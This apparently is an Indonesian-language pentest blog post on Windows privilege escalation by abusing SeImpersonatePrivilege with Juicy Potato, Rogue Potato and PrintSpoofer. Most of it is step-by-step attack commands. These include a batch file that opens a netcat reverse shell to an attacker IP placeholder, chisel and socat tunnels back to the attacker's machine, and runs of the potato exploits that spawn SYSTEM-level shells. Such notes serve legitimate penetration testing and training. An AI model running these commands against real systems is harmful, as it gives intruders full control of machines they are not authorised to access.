Post

[Privilege Abuse] SeImpersonatePrivilege or SeAssignPrimaryToken (Potatoes)

Hak akses SeImpersonatePrivilege (Impersonate klien setelah otentikasi) diperkenalkan di Windows 2000 SP4.

Klien dari hak akses ini adalah anggota grup Device’s Local Administrators Group dan Device’s Local Service Account.

Selain pengguna dan grup tersebut, komponen berikut juga merupakan klien dari hak akses ini, yaitu: Layanan yang diinisiasi oleh server Service Control Manager Component Object Model (COM).

Jika ada pengguna biasa memiliki hak akses SeImpersontatePrivilege, pengguna tersebut diizinkan untuk menjalankan program atas nama klien.

Hak akses khusus ini dirancang untuk mencegah server yang tidak sah meniru identitas klien yang terhubung melalui metode seperti RPC atau Named Pipes.

Dengan menyalahgunakan hak istimewa ini, kita dapat impersonate token apa pun yang ditanganinya. Kita bisa mendapatkan privileged token dari layanan Windows (DCOM) dan membuatnya melakukan otentikasi NTLM, lalu menjalankan proses sebagai SYSTEM.

SeAssignPrimaryToken sangat mirip dengan SeImpersonatePrivilege, kita bisa mendapatkan privileged token menggunakan cara yang sama.

1
2
3
4
5
6
7
8
PS > whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name             Description                                State
========================== ========================================= ========
SeImpersonatePrivilege     Impersonate a client after authentication Enabled

TL/DR

  • Jika sistem operasi >= Windows 10, Windows Server 2016, Server 2019, and Windows 10 - Coba PrintSpoofer
  • Jika sistem operasi >= Windows 10 1809 & Windows Server 2019 - Coba Rogue Potato
  • Jika sistem operasi < Windows 10 1809 < Windows Server 2019 - Coba Juicy Potato

1. Juicy Potato

  1. Download binary JuicyPotato.exe dan upload ke target.
  2. Upload juga nc.exe (atau bisa juga pakai powershell).
  3. Buat rev.bat untuk di eksekusi.
    1
    
    PS > echo "c:\users\public\nc.exe -e cmd.exe <ip-attacker> <port>" > rev.bat
    
  4. Siapkan listener di mesin penyerang.
  5. Exploit Juicy Potato.
    1
    
    PS > .\JuicyPotato.exe -t * -p C:\Users\Public\rev.bat -l 9003
    
  6. Kalau CLSID bermasalah, coba cari CLSID lain.
    1
    
    PS > .\JuicyPotato.exe -t * -p C:\Users\Public\rev.bat -l 9003 -c {CLSID}
    

2. Rogue Potato

  1. Download binary RoguePotato.exe dan upload ke target.
  2. Upload juga chisel.exe ke target.
  3. Reverse port forwarding.
    1
    2
    3
    4
    5
    
     # attacker
      ./chisel server -p <port> --reverse 
    
     # victim
     PS > .\chisel.exe <ip-attacker>:<port> R:9999:localhost:9999 
    
  4. Jalanin socat pada mesin attacker
    1
    
    sudo socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999
    
  5. Buat rev.ps1 lalu upload ke target.
  6. Siapkan listener di mesin penyerang.
  7. Exploit Rogue Potato.
    1
    
    PS > .\RoguePotato.exe -r <ip-attacker> -e "powershell C:\Users\Public\rev.ps1" -l 9999
    

3. PrintSpoofer

  1. Download binary PrintSpoofer.exe (1) atau PrintSpoofer.exe (2) dan upload ke target.
  2. Exploit PrintSpoofer.
    1
    
    PS C:\Users\Ap> .\PrintSpoofer.exe -i -c cmd
    

References

  • https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
  • https://www.youtube.com/watch?v=1ae64CdwLHE&t=2320s
  • https://medium.com/r3d-buck3t/impersonating-privileges-with-juicy-potato-e5896b20d505
  • https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
  • https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
  • https://www.hackingarticles.in/windows-privilege-escalation-seimpersonateprivilege/
This post is licensed under CC BY 4.0 by the author.